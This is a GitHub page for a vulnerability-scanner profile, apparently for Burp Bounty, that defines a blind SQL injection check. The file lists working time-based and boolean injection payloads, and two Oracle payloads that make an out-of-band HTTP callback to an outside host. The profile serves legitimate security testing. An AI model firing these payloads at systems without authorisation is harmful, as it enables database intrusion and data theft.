-
-
Notifications
You must be signed in to change notification settings - Fork 43
/
Copy pathACTIVE - SQL Injection Blind.bb
68 lines (68 loc) · 1.91 KB
/
ACTIVE - SQL Injection Blind.bb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
[
{
"Name": "ACTIVE - SQL Injection (Blind)",
"Active": false,
"Scanner": 1,
"Payloads": [
"' OR SLEEP(5)--",
"1' OR SLEEP(5)--",
"x' OR SLEEP(5)--",
"1\" OR SLEEP(5)--",
"x' waitfor delay '0:0:10'--",
"1 waitfor delay '0:0:10'--",
"1||Utl_Http.request('https://crowdshield.com/.injectx/r.php?sqli') from dual--",
"1'||Utl_Http.request('https://crowdshield.com/.injectx/r.php?sqli') from dual--",
"1') AND SLEEP(5) AND ('x'='x",
"1\") AND SLEEP(5) AND (\"x\"=\"x",
"1 AND SLEEP(5)",
"x AND SLEEP(5)",
"1 AND waitfor delay '0:0:10'",
"X AND waitfor delay '0:0:10'",
"(select*from(select(sleep(20)))a)",
"1-sleep/*f*/(10)",
"1-if(mid(version/*f*/(),1,1)=5,sleep/*f*/(5),0)",
"1-if(mid(version/*f*/(),1,1)=4,sleep/*f*/(5),0)",
"1'+AND+SLEEP(5)+AND+'aaxA'='aaxA",
"test' RLIKE (SELECT (CASE WHEN (9203=9203) THEN 0x74657374 ELSE 0x28 END))-- YOJb"
],
"Encoder": [
"URL-encode key characters"
],
"UrlEncode": false,
"CharsToUrlEncode": "",
"Grep": [
"INJECTX321"
],
"PayloadResponse": false,
"NotResponse": false,
"NotCookie": false,
"TimeOut": 0,
"isTime": false,
"CaseSensitive": false,
"isReplace": false,
"ExcludeHTTP": false,
"OnlyHTTP": false,
"IsContentType": false,
"ContentType": "",
"NegativeCT": false,
"IsResponseCode": false,
"ResponseCode": "",
"NegativeRC": false,
"MatchType": 1,
"RedirType": 4,
"MaxRedir": 5,
"rCookies": false,
"spaceEncode": true,
"payloadPosition": 1,
"sEncode": "+",
"payloadsFile": "",
"grepsFile": "",
"IssueName": "SQL Injection (Blind Based)",
"IssueSeverity": "High",
"IssueConfidence": "Tentative",
"IssueDetail": "SQL Injection (Blind Based)",
"RemediationDetail": "SQL Injection (Blind Based)",
"IssueBackground": "SQL Injection (Blind Based)",
"RemediationBackground": "SQL Injection (Blind Based)"
}
]